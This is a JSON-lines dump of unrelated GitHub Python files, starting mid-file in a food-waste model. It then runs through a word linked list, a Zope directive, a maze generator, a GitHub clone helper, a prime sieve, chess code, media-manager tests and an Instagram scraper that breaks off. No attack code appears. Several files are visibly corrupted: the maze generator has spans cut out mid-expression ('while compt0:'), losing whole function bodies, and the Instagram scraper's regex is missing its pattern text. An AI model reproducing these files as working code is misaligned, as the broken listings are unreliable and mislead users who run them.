lib.dat.livestock_params\n\n\ndef main(continent, region, area, path):\n\n\n dev_metric = io.load(f\"{path}\\\\dev_metrics\", f\"dev_metric_{area}\")\n food_waste_gen = io.load(\"lib\\\\dat\\\\waste_vars\", \"food_waste_gen\")\n\n waste_variables = pd.DataFrame(columns = food_waste_gen.columns, index = [\"processing\", \"distribution\", \"post_production\", \"post_production_to_feed\", \"other_waste_to_feed\"])\n waste_variables_diff = pd.DataFrame(columns = food_waste_gen.columns, index = [\"processing\", \"distribution\", \"post_production\", \"post_production_to_feed\", \"other_waste_to_feed\"])\n\n waste_variables_diff.loc[\"processing\"] = abs(np.subtract(food_waste_gen.loc[\"processing_high_dev\"], food_waste_gen.loc[\"processing_low_dev\"]))\n waste_variables_diff.loc[\"distribution\"] = abs(np.subtract(food_waste_gen.loc[\"distribution_high_dev\"], food_waste_gen.loc[\"distribution_low_dev\"]))\n waste_variables_diff.loc[\"post_production\"] = abs(np.subtract(food_waste_gen.loc[\"post_prod_high_dev\"], food_waste_gen.loc[\"post_prod_low_dev\"]))\n waste_variables_diff.loc[\"post_production_to_feed\"] = abs(np.subtract(food_waste_gen.loc[\"post_prod_to_feed_high_dev\"], food_waste_gen.loc[\"post_prod_to_feed_low_dev\"]))\n waste_variables_diff.loc[\"other_waste_to_feed\"] = abs(np.subtract(food_waste_gen.loc[\"other_waste_to_feed_high_dev\"], food_waste_gen.loc[\"other_waste_to_feed_low_dev\"]))\n\n waste_variables.loc[\"processing\"] = food_waste_gen.loc[\"processing_low_dev\"] - (waste_variables_diff.loc[\"processing\"].values * dev_metric)\n waste_variables.loc[\"distribution\"] = food_waste_gen.loc[\"distribution_low_dev\"] - (waste_variables_diff.loc[\"distribution\"].values * dev_metric)\n waste_variables.loc[\"post_production\"] = (waste_variables_diff.loc[\"post_production\"].values * dev_metric) + food_waste_gen.loc[\"post_prod_low_dev\"]\n waste_variables.loc[\"post_production_to_feed\"] = - (waste_variables_diff.loc[\"post_production_to_feed\"].values * dev_metric) + food_waste_gen.loc[\"post_prod_to_feed_low_dev\"]\n waste_variables.loc[\"other_waste_to_feed\"] = (waste_variables_diff.loc[\"other_waste_to_feed\"].values * dev_metric) + food_waste_gen.loc[\"other_waste_to_feed_low_dev\"]\n\n conversion_ratios = pd.read_csv(\"data\\\\wirsenius_2010_FCR_livestock.csv\", index_col=[\n \"Animal system and parameter\", \"Scenario\"]) # from https://doi.org/10.1016/j.agsy.2010.07.005\n\n CR_dict = {\"Bovine Meat\": \"Beef cattle meat\",\n \"Poultry Meat\": \"Poultry meat\",\n \"Pigmeat\": \"Pork (crude carcass)\",\n \"Mutton & Goat Meat\": \"Sheep meat\"}\n\n idx = lib.dat.livestock_params.animal_prods_list + [\"Dairy\"]\n col = conversion_ratios.columns\n arr = []\n for x in idx:\n arr.append(x)\n arr.append(x)\n arr.append(x)\n\n conversion_ratios_format_1992 = pd.DataFrame(index = idx, columns = col)\n conversion_ratios_format_REF = pd.DataFrame(index = idx, columns = col)\n conversion_ratios_format_ILP = pd.DataFrame(index = idx, columns = col)\n\n for item in CR_dict:\n conversion_ratios_format_1992.loc[item] = conversion_ratios.xs(\n CR_dict[item], level=\"Animal system and parameter\").loc[\"1992/1994\"].values\n\n conversion_ratios_format_1992.loc[\"Eggs\"] = conversion_ratios.xs(\n \"Egg\", level=\"Animal system and parameter\").loc[\"1992/1994\"].values\n conversion_ratios_format_1992.loc[\"Dairy\"] = conversion_ratios.xs(\n \"Cattle whole-milk\", level=\"Animal system and parameter\").loc[\"1992/1994\"].values\n conversion_ratios_format_1992.loc[\"Meat, Other\"] = np.mean([conversion_ratios.xs(\"Beef cattle meat\", level=\"Animal system and parameter\").loc[\"1992/1994\"].values,\n conversion_ratios.xs(\n \"Poultry meat\", level=\"Animal system and parameter\").loc[\"1992/1994\"].values,\n conversion_ratios.xs(\n \"Pork (crude carcass)\", level=\"Animal system and parameter\").loc[\"1992/1994\"].values,\n conversion_ratios.xs(\"Sheep meat\", level=\"Animal system and parameter\").loc[\"1992/1994\"].values], axis=0)\n\n area_dict = {\"NORTHERNAMERICA\": \"North America and Oceania\",\n \"SOUTHAMERICA\": \"Latin America and the Caribbean\",\n \"CENTRALAMERICA\": \"Latin America and the Caribbean\",\n \"CARIBBEAN\": \"Latin America and the Caribbean\",\n \"EASTERNAFRICA\": \"Sub-Saharan Africa\",\n \"WESTERNAFRICA\": \"Sub-Saharan Africa\",\n \"NORTHERNAFRICA\": \"North Africa and West Asia\",\n \"SOUTHERNAFRICA\": \"Sub-Saharan Africa\",\n \"MIDDLEAFRICA\": \"Sub-Saharan Africa\",\n \"CENTRALASIA\": \"South and Central Asia\",\n \"EASTERNASIA\": \"East Asia\",\n \"SOUTHEASTERNASIA\": \"East Asia\",\n \"SOUTHERNASIA\": \"South and Central Asia\",\n \"WESTERNASIA\": \"North Africa and West Asia\",\n \"EASTERNEUROPE\": \"East Europe\",\n \"WESTERNEUROPE\": \"West Europe\",\n \"NORTHERNEUROPE\": \"West Europe\",\n \"SOUTHERNEUROPE\": \"World average\",\n \"AUSTRALIAANDNEWZEALAND\": \"North America and Oceania\",\n \"MICRONESIA\": \"World average\",\n \"POLYNESIA\": \"World average\",\n \"MELANESIA\": \"World average\"\n }\n\n io.save(f\"{path}\\\\food_waste\", f\"waste_ratios_{area}\", waste_variables)\n\n\n def fed_without_forage_1():\n\n fed_without_forage_dev = lib.dat.livestock_params.fed_without_forage_developed\n fed_without_forage_udev = lib.dat.livestock_params.fed_without_forage_developing\n\n #factor = io.load(\".\", \"sfwfval\")\n\n fed_without_forage = pd.DataFrame(index = fed_without_forage_udev, columns = waste_variables.columns)\n for item in fed_without_forage_dev:\n\n fwfi = float(fed_without_forage_dev[item])\n fwfs = float(fed_without_forage_udev[item])\n val = lambda x: fwfs + ((fwfi - fwfs) * x)\n #val = lambda x: fwfs + ((fwfi - fwfs) * (x * factor))\n fed_without_forage.loc[item] = [fwfs if val(x) < fwfs else val(x) if val(x) < fwfi else fwfi for x in dev_metric]\n #fed_without_forage.loc[item] = [fwfs for x in dev_metric]\n\n io.save(f\"{path}\\\\livestock\", f\"fed_without_forage_{area}\", fed_without_forage)\n\n fed_without_forage_1()\n\n def plot():\n area_list = [\"CHINAMAINLAND\", \"UNITEDSTATESOFAMERICA\", \"BELIZE\", \"BRAZIL\", \"NIGERIA\", \"CONGO\"]\n\n if area in area_list:\n lw1 = 3\n lw2 = 6\n plt.style.use(\"Solarize_Light2\")\n\n col1 = \"#3B7ACB\"\n col2 = \"#CB3BC2\"\n col3 = \"#3BCB44\"\n col4 = \"#DF8612\"\n\n custom_lines = [Line2D([0], [0], color = col1, lw = \"3\"), Line2D([0], [0], color = col2, lw = \"3\"), Line2D([0], [0], color = col3, lw = \"3\"), Line2D([0], [0], color = col4, lw = \"3\")]\n\n # plt.plot(waste_variables.loc[\"processing\"], color = col1, alpha = 1, linewidth = lw1)\n # # plt.plot(food_waste_gen.loc[\"processing_high_dev\"], color = col1, linestyle = \"--\", alpha = 0.6, linewidth = lw2)\n # # plt.plot(food_waste_gen.loc[\"processing_low_dev\"], color = col1, linestyle = \"--\", alpha = 0.6, linewidth = lw2)\n # plt.fill_between(np.arange(2013, 2051, 1), food_waste_gen.loc[\"processing_high_dev\"].values.astype(\"float64\"), food_waste_gen.loc[\"processing_low_dev\"].values.astype(\"float64\"), color = col1, alpha = 0.3)\n\n plt.plot(waste_variables.loc[\"post_production\"], color = col1, alpha = 1, linewidth = lw1)\n #plt.plot(food_waste_gen.loc[\"post_prod_high_dev\"], color = col2, linestyle = \"--\", alpha = 0.6, linewidth = lw2)\n #plt.plot(food_waste_gen.loc[\"post_prod_low_dev\"], color = col2, linestyle = \"--\", alpha = 0.6, linewidth = lw2)\n plt.fill_between(np.arange(2013, 2051, 1), food_waste_gen.loc[\"post_prod_low_dev\"].values.astype(\"float64\"), food_waste_gen.loc[\"post_prod_high_dev\"].values.astype(\"float64\"), color = col1, alpha = 0.3)\n\n # plt.plot(waste_variables.loc[\"distribution\"], color = col3, alpha = 1, linewidth = lw1)\n # # plt.plot(food_waste_gen.loc[\"distribution_high_dev\"], color = col3, linestyle = \"--\", alpha = 0.6, linewidth = lw2)\n # # plt.plot(food_waste_gen.loc[\"distribution_low_dev\"], color = col3, linestyle = \"--\", alpha = 0.6, linewidth = lw2)\n # plt.fill_between(np.arange(2013, 2051, 1), food_waste_gen.loc[\"distribution_high_dev\"].values.astype(\"float64\"), food_waste_gen.loc[\"distribution_low_dev\"].values.astype(\"float64\"), color = col1, alpha = 0.3)\n\n\n # plt.plot(waste_variables.loc[\"post_production_to_feed\"], color = col2, alpha = 1, linewidth = lw1)\n # # plt.plot(food_waste_gen.loc[\"post_prod_to_feed_high_dev\"], color = col4, linestyle = \"--\", alpha = 0.6, linewidth = lw2)\n # # plt.plot(food_waste_gen.loc[\"post_prod_to_feed_low_dev\"], color = col4, linestyle = \"--\", alpha = 0.6, linewidth = lw2)\n # plt.fill_between(np.arange(2013, 2051, 1), food_waste_gen.loc[\"post_prod_to_feed_high_dev\"].values.astype(\"float64\"), food_waste_gen.loc[\"post_prod_to_feed_low_dev\"].values.astype(\"float64\"), color = col2, alpha = 0.3)\n\n plt.ylabel(\"Loss ratio\")\n plt.xlabel(\"Year\")\n plt.legend(custom_lines, [\"Post production\"])#, \"Post production to feed\"])\n plt.ylim(0, 1)\n plt.show()\n #plot()\n","repo_name":"thomasball355/C-LLAMA1.0","sub_path":"lib/mod/dev_metric_calculations.py","file_name":"dev_metric_calculations.py","file_ext":"py","file_size_in_byte":10148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71574955733","text":"# -*- coding: utf-8 -*-\n\n\nclass Word(object):\n\n def __init__(self, word, position):\n self.word = word\n self.position = position\n self.next = None\n self.previous = None\n self.chain = None\n\n def add_to_chain(self, chain):\n self.chain = chain\n if chain.first is None:\n chain.first = self\n chain.last = self\n else:\n self.previous = chain.last\n chain.last.next = self\n chain.last = self\n\n def remove_from_chain(self):\n if self.previous is not None:\n self.previous.next = self.next\n else:\n self.chain.first = self.next\n if self.next is not None:\n self.next.previous = self.previous\n else:\n self.chain.last = self.previous\n self.chain = None\n\n def __str__(self):\n if self.previous is not None:\n prev = '\"%s\" at %d' % (self.previous.word, self.previous.position)\n else:\n prev = None\n if self.next is not None:\n next = '\"%s\" at %d' % (self.next.word, self.next.position)\n else:\n next = None\n return '\"%s\" at %d (<%s> <%s>)' % (self.word, self.position, prev, next)\n\n def __eq__(self, other):\n return (self.word == other.word and self.position == other.position)\n\n\nclass ChainOfWords(object):\n\n def __init__(self):\n self.first = None\n self.last = None\n self.length = 0\n\n def add_word(self, word):\n word.add_to_chain(self)\n self.length += 1\n\n def remove_word(self, word):\n word.remove_from_chain()\n self.length -= 1\n\n def __str__(self):\n result = ''\n for word in self:\n if result != '':\n result += '\\n'\n result += str(word)\n return 'chain [\\n%s\\n]' % result\n\n def __iter__(self):\n self.current = self.first\n return self\n\n def __next__(self):\n if self.current is None:\n raise StopIteration\n result = self.current\n self.current = self.current.next\n return result\n","repo_name":"yaklyushkin/yaklyushkin_09_05_names","sub_path":"handlers/words.py","file_name":"words.py","file_ext":"py","file_size_in_byte":2119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74258983252","text":"from zope.interface import Interface\nfrom zope.configuration import fields\n\nfrom collective.portlet.ngcollection import NGCollectionMessageFactory as _\n\n\nclass IPortletTemplatesDirective(Interface):\n \"\"\"Directive which registers a directory with templates for the given\n portlet type.\"\"\"\n\n directory = fields.Path(\n title=u\"Path to directory\",\n required=True)\n\n interface = fields.GlobalInterface(\n title=_(u\"Portlet type interface\"),\n description=_(u\"Should correspond to the public interface \"\n u\"of the portlet assignment\"),\n required=True)\n","repo_name":"collective/collective.portlet.ngcollection","sub_path":"collective/portlet/ngcollection/metadirectives.py","file_name":"metadirectives.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"22689355381","text":"\"\"\"\nMAZE GENERATOR\n\"\"\"\nimport keyboard\n# Modules\nfrom matplotlib.pyplot import *\nfrom random import randint\nimport operator\n\n# Dimensions\n#m=int(input(\"nombre de lignes ? \"))\n#n=int(input(\"nombre de colonnes ? \"))\n\nm=30\nn=30\n\nwidth=3 # épaisseur des murs\n\n# Fonctions\ndef Laby(m,n):\n \"\"\"renvoie deux tableaux Sud et Est modélisant un labyrinthe de taille m*n\"\"\"\n Sud=[n*[True] for k in range(m)]\n Est=[n*[True] for k in range(m)]\n\n compt=0\n \n Numeros=[list(range(k*n+1, (k+1)*n+1)) for k in range(m)] # Liste numérotant chaque case de 1 à m*n\n \n while compt0: # Si la liste Cases est non nulle, je tire au sort une case de la liste et la traite en fonction de son emplacement par rapport à la case (i,j) \n p=Cases[randint(0,k-1)]\n \n if p[2]==2:\n Sud[i][j]=False\n elif p[2]==1:\n Est[i][j]=False\n elif p[2]==0:\n Sud[p[0]][p[1]]=False\n else:\n Est[p[0]][p[1]]=False\n\n # Je récupères les valeurs des deux cases\n a=Numeros[i][j]\n b=Numeros[p[0]][p[1]]\n\n # Je prends a comme le plus petit et b comme le plus grand des deux nombres\n if not a1:\n y=Solution[0][0]\n z=Solution[0][1]\n \n Cases=Adjacente(Table,y,z,operator.eq,k-1) #renvoie la liste des cases adjacentes ayant pour valeur k-1\n\n for Alpha in Cases:\n if VoisinSansMur([Alpha],y,z,S,E):\n Solution.insert(0,[Alpha[0],Alpha[1]])\n k-=1\n return Solution\n\n\ndef VoisinSansMur(Cases,y,z,S,E):\n \"\"\"Détermine si la case y,z n'a pas de mur avec au moins une des cases de la liste Cases\"\"\"\n Condition=False\n i=0\n \n while not Condition and i2 and CHEM[-1]==CHEM[-3]:\n Effacer(CHEM[:])\n del CHEM[-1]\n del CHEM[-1]\n AffChem(CHEM)\n event.canvas.draw()\n\n\ndef release(event):\n if event.key==\"r\":\n print(\"lol\")\n CHEM,Sol,Sud,Est=Init()\n\n\n# création et affichage du labyrinthe\nSud,Est=Laby(m,n)\nSol=Resolution(Sud,Est)\nCHEM=[[m-1,0]]\n \nfig, laby = subplots()\nfig.canvas.mpl_connect('key_press_event', press)\nfig.canvas.mpl_connect('key_release_event', release)\n\nAffLaby(Sud,Est)\n#AffChem([[m,0]]+CHEM)\nplot([n-0.5,n+0.5],[m-0.5,m-0.5],\"w\")\n\naxis(\"equal\")\n\n\n\nshow()\n\n\n","repo_name":"Learza7/Maze-Generator","sub_path":"MazeGenerator.py","file_name":"MazeGenerator.py","file_ext":"py","file_size_in_byte":7399,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31512407573","text":"import argparse\n\n# PyGithub\nfrom github import Github\n\nclass Gclone(object):\n \"\"\"gclone command line state. Provides output and handles user input.\"\"\"\n STATE_LIST = 'list'\n STATE_FULL_NAME_MATCH = 'full_match'\n STATE_FULL_NAME_NO_MATCH = 'full_no_match'\n STATE_NONE = 'none'\n\n def __init__(self, keyword, repos):\n self._update_state(keyword, repos)\n\n def needs_input(self):\n \"\"\"Return whether we are in a state that requires user input.\"\"\"\n return self._state in [self.STATE_LIST, self.STATE_FULL_NAME_NO_MATCH]\n\n def handle_input(self, user_input):\n \"\"\"Handle user input.\n\n Parameters\n ----------\n user_input : str\n\n Raises\n ------\n IndexError or TypeError\n If number choice is invalid.\n KeyError\n If 'y/n' input is invalid.\n \"\"\"\n if user_input.isdecimal():\n i = int(user_input) - 1\n if i < 0:\n raise IndexError('negative index not allowed')\n else:\n i = user_input.lower()\n self._clone_url = self._get_choices()[i]\n\n def get_clone_url(self):\n \"\"\"Return github clone url or None.\"\"\"\n return self._clone_url\n\n def get_output(self):\n \"\"\"Return output based on current state.\"\"\"\n return self._outputs.get(self._state, None)\n\n def _update_state(self, keyword, repos):\n self._keyword = keyword\n self._repos = repos\n self._clone_url = None\n repo_words = keyword.split('/')\n full_name = True if len(repo_words) == 2 else False\n self._state = self.STATE_LIST\n if full_name:\n match = [repo for repo in self._repos if repo.full_name == keyword]\n if len(match) == 1:\n self._state = self.STATE_FULL_NAME_MATCH\n self._clone_repo = match[0]\n self._clone_url = match[0].clone_url\n if len(repos) == 0:\n if full_name:\n self._state = self.STATE_FULL_NAME_NO_MATCH\n else:\n self._state = self.STATE_NONE\n self._outputs = {\n self.STATE_NONE: 'No repositories found.',\n self.STATE_LIST: self._get_list_output(),\n self.STATE_FULL_NAME_NO_MATCH: self._get_no_match_output()\n }\n\n def _get_choices(self):\n \"\"\"Return choices for selection by user input.\"\"\"\n if self._state == self.STATE_LIST:\n return [repo.clone_url for repo in self._repos]\n else:\n return {'y': self._get_no_match_url(), 'n': None}\n\n def _get_no_match_url(self):\n gh_url_format = 'https://github.com/{}.git'\n return gh_url_format.format(self._keyword)\n\n def _get_no_match_output(self):\n clone_url = self._get_no_match_url()\n return \"Repository not found. Clone '{}' ? (y/n) \".format(clone_url)\n\n def _get_list_output(self):\n longest = 0\n lefts = []\n i = 1\n for repo in self._repos:\n # Set length of string to make items line up evenly\n key_len = 4\n key = '({})'.format(i).rjust(key_len)\n left = '{} {}'.format(key, repo.full_name)\n lefts.append(left)\n length = len(left)\n if length > longest:\n longest = length\n i += 1\n\n lines = []\n for x in range(len(self._repos)):\n repo = self._repos[x]\n left = lefts[x].ljust(longest)\n data = '{} {}'.format(left, repo.description)\n lines.append(data)\n\n lines.append('Clone which repository? ')\n return '\\n'.join(lines)\n\nclass Gsearch(object):\n \"\"\"Search for github repositories.\"\"\"\n LIMIT_MAX = 99\n LIMIT_DEFAULT = 10\n\n SORT_CHOICES = ['stars', 'forks', 'updated']\n ORDER_CHOICES = ['desc', 'asc']\n\n def __init__(self):\n self._github = Github()\n\n def search(self, query, **kwargs):\n \"\"\"Search for github repositories.\n\n Parameters\n ----------\n query : str\n\n Other Parameters\n ----------------\n sort : {'stars', 'forks', 'updated'}, optional\n order : {'asc', 'desc'}, optional\n limit : int, optional\n Max number of results (default is 10).\n\n Returns\n -------\n list\n List of repositories or an empty list.\n \"\"\"\n limit = kwargs.pop('limit', self.LIMIT_DEFAULT)\n limit = min(limit, self.LIMIT_MAX)\n results = self._github.search_repositories(query, **kwargs)\n try:\n repos = [repo for repo in results[:limit]]\n except IndexError:\n repos = []\n\n return repos\n","repo_name":"mtbrock/gclone","sub_path":"gclone/gclone.py","file_name":"gclone.py","file_ext":"py","file_size_in_byte":4701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11598657613","text":"import sys\n\n\ndef nsieve(n):\n count = 0\n flags = [True] * n\n for i in range(2, n):\n if flags[i]:\n count += 1\n for j in range(i << 1, n, i):\n flags[j] = False\n print(f'Primes up to {n:8} {count:8}')\n\n\nif __name__ == '__main__':\n n = int(sys.argv[1]) if len(sys.argv) > 1 else 4\n for i in range(0, 3):\n nsieve(10000 << (n-i))\n","repo_name":"hanabi1224/Programming-Language-Benchmarks","sub_path":"bench/algorithm/nsieve/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":516,"dataset":"github-code","pt":"67"} +{"seq_id":"1197777923","text":"from game.Empty import Empty\n\n\nclass ContinousMovement():\n\n\tdef add_until_end(self, gameboard, *changes):\n\t\tpotential_moves = []\n\t\tfor change in changes:\n\t\t\trow = self.row\n\t\t\tcolumn = self.column\n\t\t\twhile (True):\n\t\t\t\trow += change[0]\n\t\t\t\tcolumn += change[1]\n\t\t\t\tif isinstance(gameboard.get_piece(row, column), Empty):\n\t\t\t\t\tpotential_moves.append([row, column])\n\t\t\t\telse:\n\t\t\t\t\tif gameboard.has_piece(row, column) and gameboard.get_piece(row, column).color != self.color:\n\t\t\t\t\t\tpotential_moves.append([row, column])\n\t\t\t\t\tbreak\n\t\treturn potential_moves\n","repo_name":"GGonnerman/MasterCopy","sub_path":"High School/10th Grade/Gaston/Chess-master/game/ContinousMovement.py","file_name":"ContinousMovement.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"16384275277","text":"#######################################################\n# Bai 1\nimport numpy as np\n\nlst = []\nnew_lst = []\nnew_lst2 = []\nindex_max2 = []\nindex_min2 = []\n\nN = int(input(\"Nhap so phan tu trong danh sach: \"))\nfor i in range(0, N, 1) :\n ptu = int(input(\n \"Nhap phan tu thu {}: \".format(str(i+1))\n ))\n new_lst = new_lst2 = lst.append(ptu)\n \nptu_max1 = np.max(lst)\nptu_min1 = np.min(lst)\n \n\ntry:\n file = open('bai1_de2.txt','w')\n if len(lst) > 1:\n new_lst = list(filter((ptu_max1).__ne__, lst)) \n new_lst2 = list(filter((ptu_min1).__ne__, lst)) \n \n ptu_max2 = np.max(new_lst)\n ptu_min2 = np.min(new_lst2)\n\n for i in range(0, N, 1):\n if lst[i] == ptu_max2:\n index_max2.append(i)\n if lst[i] == ptu_min2:\n index_min2.append(i)\n file.write(\n \"Phan tu lon thu 2 la: {} index: {} \\n\".format(str(ptu_max2),index_max2)+\n \"Phan tu nho thu 2 la: {} index: {} \\n\".format(str(ptu_min2),index_min2)\n )\n file = open('Z:/Python/bai1_de1.txt')\n else:\n file.write(\"Khong ton tai phan tu can tim\")\nexcept:\n print(\"Khong mo duoc file\")\nfinally:\n file.close()\n\n","repo_name":"tientulac/py","sub_path":"Bai1_De2.py","file_name":"Bai1_De2.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70155813655","text":"import random\nfrom collections import defaultdict\nfrom datetime import datetime, timedelta\n\nimport pytest\nfrom fastapi.testclient import TestClient\nfrom freezegun import freeze_time\n\nfrom mediamanager.app import expired_media_settings\nfrom mediamanager.models.expired_media.expired_media import ExpiredMedia\nfrom mediamanager.models.manage_media.overseerr import OverseerrUser\nfrom mediamanager.models.manage_media.tautulli import (\n LibraryType,\n TautulliLibrary,\n TautulliMedia,\n TautulliMediaDetail,\n TautulliMediaSummary,\n)\nfrom mediamanager.routes import expired_media as expired_media_routes\nfrom mediamanager.services.factory import ServiceFactory\nfrom tests.fixtures.databases.media_managers.mock_media_manager_database import RadarrMockDatabase\nfrom tests.fixtures.databases.tautulli.mock_tautulli_database import TautulliMockDatabase\nfrom tests.utils.generators import random_datetime, random_int, random_string\n\n\n@pytest.mark.parametrize(\n \"recently_added, recently_watched\",\n [\n (False, False),\n (True, False),\n (False, True),\n (True, True),\n ],\n)\ndef test_get_expired_media(\n api_client: TestClient,\n auth_headers: dict,\n recently_added: bool,\n recently_watched: bool,\n tautulli_db: TautulliMockDatabase,\n tautulli_libraries: dict[LibraryType, TautulliLibrary],\n tautulli_movies: list[TautulliMedia],\n tautulli_shows: list[TautulliMedia],\n):\n mock_current_dt = datetime.now() + timedelta(days=random_int(365 * 10, 365 * 20))\n\n # add media that was added and/or watched recently\n non_expired_media: defaultdict[LibraryType, list[TautulliMedia]] = defaultdict(list)\n if recently_added or recently_watched:\n for library in tautulli_libraries.values():\n media_count = random_int(1, 5)\n library.count += media_count\n for _ in range(media_count):\n recently_added_or_watched_time = random_datetime(\n mock_current_dt - timedelta(days=(expired_media_settings.expired_media_last_watched_threshold - 1)),\n mock_current_dt,\n )\n summary = TautulliMediaSummary(\n section_id=library.section_id,\n rating_key=random_string(),\n media_type=library.section_type,\n title=random_string(),\n added_at=recently_added_or_watched_time if recently_added else random_datetime(),\n last_played=recently_added_or_watched_time if recently_watched else random_datetime(),\n )\n detail = TautulliMediaDetail(\n section_id=library.section_id,\n rating_key=summary.rating_key,\n media_type=LibraryType.movie,\n title=summary.title,\n guids=[f\"tmdb://{random_int(1000, 10000)}\", f\"tvdb://{random_int(1000, 10000)}\"],\n )\n\n media = TautulliMedia(library=library, media_summary=summary, media_detail=detail)\n tautulli_db.insert_media(media)\n non_expired_media[library.section_type].append(media)\n\n # fetch media and confirm only the new media is returned\n with freeze_time(mock_current_dt.isoformat()):\n response = api_client.get(\n expired_media_routes.router.url_path_for(\"get_expired_media\"),\n headers=auth_headers,\n )\n\n response.raise_for_status()\n expired_media = [ExpiredMedia.parse_obj(data) for data in response.json()]\n\n non_expired_rating_keys = set()\n for library_value in non_expired_media.values():\n for media in library_value:\n non_expired_rating_keys.add(media.media_summary.rating_key)\n\n # compare the original media against the expired media\n expired_rating_keys = set(_.media.media_summary.rating_key for _ in expired_media)\n for media in tautulli_movies + tautulli_shows:\n assert media.media_summary.rating_key in expired_rating_keys\n\n # compare the non-expired media against the expired media\n for non_expired_key in non_expired_rating_keys:\n assert non_expired_key not in expired_rating_keys\n\n\n@pytest.mark.parametrize(\"add_user\", [False, True])\ndef test_get_expired_media_with_media(\n add_user: bool,\n api_client: TestClient,\n auth_headers: dict,\n tautulli_movies: list[TautulliMedia],\n overseerr_users: list[OverseerrUser],\n radarr_db: RadarrMockDatabase,\n):\n tag_ids: list[str] = []\n user: OverseerrUser | None = None\n if add_user:\n user = random.choice(overseerr_users)\n tag = radarr_db.create_tag(f\"{user.id} - {user.username or user.name}\")\n tag_ids.append(tag.id)\n\n movie = random.choice(tautulli_movies)\n radarr_db.create_media(movie.media_detail.get_guid(\"tmdb\"), tag_ids) # type: ignore\n\n with freeze_time(datetime.now() + timedelta(days=random_int(365 * 10, 365 * 20))):\n response = api_client.get(\n expired_media_routes.router.url_path_for(\"get_expired_media\"),\n headers=auth_headers,\n )\n\n response.raise_for_status()\n expired_media = [ExpiredMedia.parse_obj(data) for data in response.json()]\n\n found = False\n for expired_movie in expired_media:\n if expired_movie.media.media_summary.rating_key != movie.media_summary.rating_key:\n continue\n\n found = True\n assert expired_movie.media_url # url is only populated if radarr media is found\n if add_user:\n assert user\n assert expired_movie.user == user\n break\n assert found\n\n\ndef test_get_expired_media_monitored_libraries(\n api_client: TestClient,\n auth_headers: dict,\n tautulli_movies: list[TautulliMedia],\n tautulli_shows: list[TautulliMedia],\n svcs: ServiceFactory,\n):\n # fetch only movies, not shows\n movie_library_ids = {movie.library.section_id for movie in tautulli_movies}\n show_library_ids = {show.library.section_id for show in tautulli_shows}\n assert movie_library_ids\n assert show_library_ids\n assert movie_library_ids != show_library_ids\n\n svcs.app_config.patch_config(monitored_library_ids=list(movie_library_ids))\n with freeze_time(datetime.now() + timedelta(days=random_int(365 * 10, 365 * 20))):\n response = api_client.get(\n expired_media_routes.router.url_path_for(\"get_expired_media\"),\n headers=auth_headers,\n )\n\n response.raise_for_status()\n expired_media = [ExpiredMedia.parse_obj(data) for data in response.json()]\n fetched_library_ids = {media.media.library.section_id for media in expired_media}\n assert fetched_library_ids\n\n for id in movie_library_ids:\n assert id in fetched_library_ids\n for id in show_library_ids:\n assert id not in fetched_library_ids\n","repo_name":"michael-genson/Media-Manager","sub_path":"tests/api_tests/expired_media_tests/test_expired_media.py","file_name":"test_expired_media.py","file_ext":"py","file_size_in_byte":6820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73672651414","text":"import json\nimport re\nimport threading\nimport time\n\nimport requests\n\nfrom src import log\nfrom src.alerts import get_alerts_by_type, TYPE_INSTA\nfrom src.notifications import send_instagram_notification\n\n__users_feeds = {}\n\n\nclass InstagramUserFeed:\n def __init__(self, feed):\n self.userid = feed.get('user_id', None)\n self.username = feed.get('user_username', None)\n self.followers = feed.get('follower', None)\n self.follows = feed.get('follows', None)\n self.media_count = feed.get('media_count', None)\n self.recent_media = feed.get('media', None)\n self.recent_media_ids = feed.get('media_ids', None)\n\n def get_image_url(self):\n if self.recent_media:\n return self.recent_media[0]['image']\n\n def get_caption(self):\n if self.recent_media:\n return self.recent_media[0]['caption']\n\n\ndef setup_periodic_scrape():\n for alert in get_alerts_by_type(TYPE_INSTA):\n t = threading.Thread(target=scrape, args=(alert,))\n t.start()\n\n\ndef scrape(alert):\n while True:\n log.info(\"Sleeping {} seconds to scrape {} instagram alert\".format(alert.frequency, alert.name))\n time.sleep(alert.frequency)\n search_new_posts(alert)\n\n\ndef populate_feeds():\n log.info(\"Populating instagram user's feeds\")\n for alert in get_alerts_by_type(TYPE_INSTA):\n for username in alert.users:\n feed = get_user_media(username)\n __users_feeds[feed.userid] = feed\n\n\ndef new_posts(feed):\n if feed.recent_media_ids is None or __users_feeds[feed.userid].recent_media_ids is None or \\\n feed.recent_media_ids == __users_feeds[feed.userid].recent_media_ids:\n log.info(\"No changes detected for user {}\".format(feed.username))\n else:\n log.info(\"Feed changes detected for user {}\".format(feed.username))\n __users_feeds[feed.userid] = feed\n return True\n\n\ndef search_new_posts(alert):\n for username in alert.users:\n user_feed = get_user_media(username)\n if new_posts(user_feed):\n send_instagram_notification(user_feed, alert)\n\n\ndef get_user_media(username):\n result = {}\n r = requests.get('https://www.instagram.com/' + username)\n data_search = re.search('', r.text,\n re.IGNORECASE)\n if data_search:\n tmp = data_search.group(1)\n data = json.loads(tmp)\n try:\n user = data['entry_data']['ProfilePage'][0]['graphql']['user']\n result['user_id'] = user['id']\n result['user_username'] = user['username']\n result['follower'] = user['edge_followed_by']['count']\n result['follows'] = user['edge_follow']['count']\n result['media_count'] = user['edge_owner_to_timeline_media']['count']\n result['media'] = []\n result['media_ids'] = set()\n\n for post in user['edge_owner_to_timeline_media']['edges']:\n post = {\n 'id': post['node']['id'],\n 'timestamp': post['node']['taken_at_timestamp'],\n 'is_video': post['node']['is_video'],\n 'caption': post['node']['edge_media_to_caption']['edges'][0]['node']['text'] if\n 